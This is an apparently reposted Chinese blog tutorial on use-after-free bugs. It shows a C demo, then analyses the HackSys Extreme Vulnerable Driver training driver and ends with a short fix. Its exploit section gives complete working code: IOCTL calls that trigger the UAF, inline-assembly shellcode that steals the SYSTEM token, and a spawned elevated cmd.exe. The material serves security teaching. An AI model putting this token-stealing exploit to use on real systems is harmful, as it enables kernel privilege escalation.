初探UAF漏洞
2022-7-15 09:3:2 Author: 红队蓝军(查看原文) 阅读量:16 收藏

0x01 UAF介绍

看下面一段代码:

#include <iostream>

int main()
{
    char* p1 = (char*)malloc(sizeof(char*)*10);
    memcpy(p1,"hello",10);
    printf("p1 addr:%x,p1:%s\n",p1,p1);
    free(p1);  //释放堆空间

    char* p2 = (char*)malloc(sizeof(char*) * 10);
    memcpy(p2,"world",10);
    printf("p2 addr:%x p1:%s\n",p2,p2);
    printf("p1 addr:%x,p1:%s\n", p1, p1);
}

结果为:

指针p1指向了一块大小为10字节的堆空间,并存入了一个字符串“hello”,随即释放了该堆空间,但并未将指针p1指向null,这将导致指针p1仍然能够使用。

紧接着指针p2指向了一块新申请为10字节的堆空间,并存入了一个字符串“world”,此时打印p1,p2的地址和字符串,发现p1和p2地址相同,并且此时能通过p1打印出“world”。

在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。

通过p2能够操作p1,如果之后p1继续被使用,则可以达到通过p2修改程序功能等目的,这也是UAF(use after free)的含义。

利用UAF漏洞,总结如下几个步骤:

  1. 申请一块内存以后释放掉它,但是没有清空该内存的指针
  2. 重新申请一块同样大小的内存,此时这两个指针对指向同一块内存
  3. 对第一步的指针进行操作,它将会影响到第二步申请的指针指向的内存

0x02 定位漏洞点

在释放了g_UseAfterFreeObjectNonPagedPool对应的堆空间后,并没有将该指针指向null。

导致后续如果有继续使用g_UseAfterFreeObjectNonPagedPool该全局变量,将会导致UAF漏洞。

该函数名称为FreeUaFObjectNonPagedPool

0x03 相关函数

查看g_UseAfterFreeObjectNonPagedPool的交叉引用,看还有那些函数使用了该全局变量。

其中AllocateUaFObjectNonPagedPool的作用是申请一块内存

UseUaFObjectNonPagedPool为执行g_UseAfterFreeObjectNonPagedPool指针

FreeUaFObjectNonPagedPool负责释放堆空间

有了以上函数我们还需要重新申请一块相同大小的内存来控制g_UseAfterFreeObjectNonPagedPool

AllocateFakeObjectNonPagedPoolIoCtrlHandler

0x04 漏洞分析

申请空间

AllocateUaFObjectNonPagedPool函数向上跟,发现IOCTL为2236435时调用AllocateUaFObjectNonPagedPoolIoctlHandler函数

该函数直接调的就是AllocateUaFObjectNonPagedPool

进入AllocateUaFObjectNonPagedPool后,可以看到通过ExAllocatePoolWithTag申请一个大小为0x58大小空间的内存,并将该内存返回的指针赋值给全局变量g_UseAfterFreeObjectNonPagedPool

实际上0x58大小正好是一个结构体_USE_AFTER_FREE_NON_PAGED_POOL

释放空间

向上跟踪FreeUaFObjectNonPagedPool,看谁调用了他

IOCTL为2236443时调用FreeUaFObjectNonPagedPoolIoctlHandler函数

同样FreeUaFObjectNonPagedPoolIoctlHandler仅仅调用了FreeUaFObjectNonPagedPool

通过ExFreePoolWithTag释放g_UseAfterFreeObjectNonPagedPool指向的空间

数据载入

该函数IOCTL为2236511

将用户模式传入UserFakeObject指向内容拷贝给内核中申请的内存。

注意这里申请的大小也是0x58,那么试想一种情景:

如果通过AllocateUaFObjectNonPagedPool申请了一块内存,并通过FreeUaFObjectNonPagedPool释放这块内存,但并没有将g_UseAfterFreeObjectNonPagedPool指针指向null,此时通过AllocateFakeObjectNonPagedPoolNx再次申请内存,那么v1就有可能重新指向一开始申请的内存,即v1g_UseAfterFreeObjectNonPagedPool指向同一块内存,而此时v1可控,由三环UserFakeObject传入,那么此时如果有个函数可以执行g_UseAfterFreeObjectNonPagedPool则可造成UAF漏洞。

正好有这样一个函数UseUaFObjectNonPagedPool,能执行g_UseAfterFreeObjectNonPagedPool指针。

0x05 构造exp

#include <iostream>
#include <Windows.h>

typedef void(*FunctionPointer) ();

typedef struct _FAKE_USE_AFTER_FREE
{

    FunctionPointer countinter;
    char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;

void ShellCode()
{
    _asm
    {
        nop
        pushad
        mov eax, fs: [124h]  
        mov eax, [eax + 0x50]   
        mov ecx, eax
        mov edx, 4

        find_sys_pid :
        mov eax, [eax + 0xb8]   
        sub eax, 0xb8           
        cmp[eax + 0xb4], edx    
        jnz find_sys_pid

        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret
    }
}

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULLNULL, FALSE, CREATE_NEW_CONSOLE, NULLNULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
    DWORD recvBuf;
    // 获取句柄
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("获取句柄失败\n");
        return 0;
    }

    DeviceIoControl(hDevice, 2236435NULLNULLNULL0, &recvBuf, NULL);
    DeviceIoControl(hDevice, 2236443NULLNULLNULL0, &recvBuf, NULL);
    PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
    fakeG_UseAfterFree->countinter = ShellCode;
    RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

    DeviceIoControl(hDevice, 2236511, fakeG_UseAfterFree, 0x60NULL0, &recvBuf, NULL);
    DeviceIoControl(hDevice, 2236439NULLNULLNULL0, &recvBuf, NULL);

    CreateCmd();
    return 0;
}

为了能够保证v1g_UseAfterFreeObjectNonPagedPool指向同一块内存,可以使用池喷射的方式。

0x06 修复

g_UseAfterFreeObjectNonPagedPool在释放后指向null即可避免问题

加下方wx,拉你一起进群学习

往期推荐

SEH异常之编译器原理探究

什么?你还不会webshell免杀?(三)

初探栈溢出

windows环境下的自保护探究

记一次内部红队渗透——定位张三

对抗无落地的shellcode注入

spring常见漏洞总结

什么?你还不会webshell免杀?(二)

什么?你还不会webshell免杀?(一)

利用卷影拷贝服务提取ntds.dit


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247501010&idx=1&sn=4402406e54ee1a98a786e0fc096ff9fb&chksm=ce677e6ef910f778103db29c77723c579e87af609e1c584f589b229573cf0ab9138c3516a61d#rd
如有侵权请联系:admin#unsafe.sh